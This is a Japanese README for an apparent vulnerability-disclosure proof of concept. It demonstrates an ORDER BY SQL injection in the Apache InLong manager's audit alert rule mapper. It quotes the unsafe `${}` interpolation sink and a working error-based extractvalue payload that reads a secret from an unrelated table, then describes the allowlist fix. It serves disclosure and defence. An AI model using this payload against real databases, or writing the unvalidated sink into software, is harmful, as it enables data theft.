AuditAlertRule ORDER BY SQLインジェクションApache InLongの監査アラートルールのクエリにおけるSQLインジェクションの実行可能な概念実証(PoC)再現リポジトリです。
InLongマネージャーのマッパー AuditAlertRuleEntityMapper.selectByCondition は、安全なMyBatis #{} パラメータでフィルタリングしますが、2つのリクエストフィールドを ${} 文字列補間 でソートします:
<!-- inlong-manager/manager-dao/src/main/resources/mappers/AuditAlertRuleEntityMapper.xml (InLong 2.0.0–2.3.x) -->
order by ${request.orderField} ${request.orderType}
orderField と orderType はページングリクエスト(AuditAlertRulePageRequest)から取得されるため、攻撃者によって制御され、そのままSQLに連結されます — ORDER BY SQLインジェクション(CWE-89)です。このPoCは、MySQLのエラーベースのペイロードを orderField に注入し、無関係なテーブル から秘密情報を読み出すことで、任意のデータ開示を実証します。
mvn -q -DskipTests package
docker compose up --build # starts MySQL, seeds it, runs the one-shot PoC
docker compose down -v
脆弱なコードパスでの期待される出力:
[1] Benign request (orderField='id', orderType='ASC'): 3 rows
AuditAlertRule{id=1, inlongGroupId=group_a, alertName=latency rule}
...
[2] Malicious request (orderField = error-based payload):
orderField = extractvalue(1,concat(0x7e,(select secret_value from manager_secrets limit 1)))
extracted from another table via the injected subquery: INLONG-SECRET-63039
>>> PROVEN: ... ORDER BY SQL injection (CWE-89): true
Apache InLong 2.4.0 では、orderField / orderType がマッパーに到達する前に、既知のソート可能なカラムと方向の許可リストに対して検証されます(ORDER BY のカラム名は #{} パラメータとしてバインドできないため、ソート入力はパラメータ化ではなく検証する必要があります)。
このリポジトリのMyBatisマッパー、エンティティ、リクエストPOJOはInLongのオリジナルを忠実に再現しており、インジェクションシンク(order by ${request.orderField} ${request.orderType})がそのままの形で再現されています。
このリポジトリは教育および防御目的で公開されています。Apache InLongユーザーが脆弱性を理解し、自分たちが影響を受けるかどうかを確認し、アップグレードによって解決されることを確認できるようにするためです。ペイロードはローカルテーブルからデモ用の秘密情報を読み出すだけです。あなたが所有または運用していないシステムに対してこの資料を使用しないでください。
| プロパティ | 値 |
|---|
| プロジェクト | Apache InLong — マネージャー (AuditAlertRuleService / AuditAlertRuleEntityMapper) |
| 分類 | CWE-89 SQLコマンドで使用される特殊要素の不適切な無害化('SQLインジェクション') |
| 攻撃ベクトル | 監査アラートルールページリクエストの orderField / orderType フィールド |
| 影響 | InLongマネージャーデータベースに対する任意のSQL実行 / データ開示 |
| 影響を受けるバージョン | 2.0.0 から 2.4.0 未満 |
| 修正バージョン | 2.4.0 |
| アドバイザリ | CVE-2026-63039 |
| クレジット | Andrea Cosentino |